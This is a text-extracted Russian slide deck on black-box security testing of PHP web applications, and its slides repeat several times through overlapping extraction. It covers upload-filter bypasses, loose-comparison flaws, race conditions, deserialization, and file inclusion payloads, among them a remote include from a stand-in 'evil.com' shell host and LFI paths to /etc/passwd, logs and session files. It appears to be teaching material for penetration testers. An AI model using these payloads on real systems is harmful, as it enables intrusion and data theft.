  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 28: Blackbox-тестирование веб-приложений

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 29: Blackbox-тестирование веб-приложений

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 30: Blackbox-тестирование веб-приложений

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 31: Blackbox-тестирование веб-приложений

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
